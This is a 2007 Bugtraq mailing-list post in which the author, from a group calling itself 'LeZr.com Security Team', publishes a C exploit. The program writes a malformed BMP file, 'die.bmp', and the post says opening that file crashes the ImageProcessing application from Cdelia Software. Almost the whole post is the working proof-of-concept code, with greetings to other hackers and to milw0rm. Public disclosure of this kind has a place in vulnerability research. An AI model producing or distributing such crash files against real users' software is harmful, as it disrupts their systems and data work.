bugtraq - ImageProcessing ... Local (Denial of Service Exploit)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: 24 Apr 2007 15:52:05 -0000
From: Dr.Ninux@...mail.org
To: bugtraq@...urityfocus.com
Subject: ImageProcessing ... Local (Denial of Service Exploit)

/*
**********************************
## Exploit Coded By Dr.Ninux ##
##       www.LeZr.com        ##
##  LeZr.com Security Team   ##
##    Dr.Ninux@...mail.org   ##
**********************************
## 24 April 2007 , Tuesday
## This exploit will create an image (bmp)
## try to open it with "ImageProcessing" from Cdelia Software co.
## then the program will be die...!
**********************************
##
## grEEts to:
## Dr.Virus9,Qptan(Linux_Drox),Q8trojan,BataWeel,SAUDI,RoDhEDoR,
## Arab4services.com,The_DoN,aseer-alnjoom,Maxy,hacaar...AND milw0rm.com
##
*/
#include <stdio.h>
#include <stdlib.h>

#define INV_PIC "die.bmp"

int main()
{

	int i=0;
	char inv_[]="LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL";
	FILE* inv_pic;

	printf("\t\t**********************************\n");
    printf("\t\t  ## Exploit Coded By Dr.Ninux ##\n");
    printf("\t\t  ##       www.LeZr.com        ##\n");
    printf("\t\t  ##  LeZr.com Security Team   ##\n");
    printf("\t\t  ##    Dr.Ninux@...mail.org   ##\n");
    printf("\t\t**********************************\n");
    printf("\n");

	if((inv_pic=fopen(INV_PIC,"wb"))==NULL)
	{
		printf("error:foepn().\n");
		exit(0);
	}

	printf("[+]Creating |invalid picture| ... plz wait.\n");
	
	for(i=0;i<sizeof(inv_);i++)
	{
		fputc(inv_[i],inv_pic);
	}

	fclose(inv_pic);
	printf("[+]BMP File %s Successfuly Created...\n",INV_PIC);

	return 0;
}